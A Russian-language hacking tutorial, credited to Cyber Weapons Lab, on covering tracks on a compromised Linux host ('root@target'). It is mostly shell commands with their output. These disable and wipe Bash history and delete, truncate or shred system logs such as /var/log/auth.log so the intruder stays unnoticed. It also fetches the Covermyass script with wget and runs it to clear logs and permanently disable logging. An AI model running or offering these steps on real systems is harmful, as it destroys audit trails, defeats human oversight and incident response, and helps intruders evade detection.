Удаление истории Bash
Bash хранит в памяти список команд, используемых в текущем сеансе, поэтому его обязательно нужно очистить, чтобы замести следы. Просмотрим текущую историю с помощью команды history:
Код:
root@target:/# history
2 ls
3 find / -perm -222 -type d 2>/dev/null
4 cd /dev/shm/
5 cd /
6 mkdir /dev/shm/.secret
7 ls -l /dev/shm/
8 ls -la /dev/shm/
9 ls
10 rmdir /dev/shm/.secret/
11 history
Команды записываются в переменную среды
Код:
HISTFILE
Код:
.bash_history
Код:
root@target:/# echo $HISTFILE
/root/.bash_history
Код:
root@target:/# unset HISTFILE
Код:
root@target:/# echo $HISTFILE
Код:
root@target:/# HISTFILE=/dev/null
Код:
root@target:/# export HISTFILE=/dev/null
Код:
root@target:/# echo $HISTFILE
/dev/null
Код:
root@target:/# HISTSIZE=0
Код:
root@target:/# export HISTSIZE=0
Код:
root@target:/# HISTFILESIZE=0
Код:
root@target:/# export HISTFILESIZE=0
Код:
root@target:/# set +o history
Код:
root@target:/# set -o history
Код:
root@target:/# shopt -ou history
Код:
root@target:/# shopt -os history
Код:
root@target:~# cat /etc/passwd
Код:
root@target:~# history -c
Код:
root@target:~# history -w
Код:
root@target:/# cat /dev/null > ~/.bash_history && history -c && exit
Код:
root@target:/# kill -9 $$
Очистка файла журнала
В дополнение к истории Bash также требуется почистить логи, чтобы оставаться незамеченными. Вот некоторые общие файлы журналов и их содержимое:- /var/log/auth.log Аутентификация
- /var/log/cron.log Cron задачи
- /var/log/maillog Почта
- /var/log/httpd Apache
Код:
root@target:/# rm /var/log/auth.log
Код:
root@target:/# truncate -s 0 /var/log/auth.log
То же самое можно сделать, отображая в файл “ничего”:
Код:
root@target:/# echo '' > /var/log/auth.log
Код:
root@target:/# > /var/log/auth.log
Код:
root@target:/# cat /dev/null > /var/log/auth.log
Код:
root@target:/# true | tee /var/log/auth.log
Код:
root@target:/# dd if=/dev/null of=/var/log/auth.log
0+0 records in
0+0 records out
0 bytes (0 B) copied, 6.1494e-05 s, 0.0 kB/s
Код:
root@target:/# shred /var/log/auth.log
Код:
root@target:/# shred -zu /var/log/auth.log
Скрипт Covermyass
Скрипт Covermyass автоматизирует процессы, рассмотренные нами ранее, включая очистку файлов журнала и отключение истории Bash.
Код:
root@target:/# wget https://raw.githubusercontent.com/sundowndev/covermyass/master/covermyass
Код:
root@target:/tmp# chmod +x covermyass
Код:
root@target:/tmp# ./covermyass
Welcome to Cover my ass tool !
Select an option :
1) Clear logs for user root
2) Permenently disable auth & bash history
3) Restore settings to default
99) Exit tool
Код:
> 1
[+] /var/log/messages cleaned.
[+] /var/log/auth.log cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.
Reminder: your need to reload the session to see effects.
Type exit to do so.
Код:
> 2
[+] Permanently sending /var/log/auth.log to /dev/null
[+] Permanently sending bash_history to /dev/null
[+] Set HISTFILESIZE & HISTSIZE to 0
[+] Disabled history library
Permenently disabled bash log.
Код:
root@target:/tmp# ./covermyass now
Код:
[+] /var/log/messages cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.
Reminder: your need to reload the session to see effects.
Type exit to do so.
автор @DRD_, Cyber Weapons Lab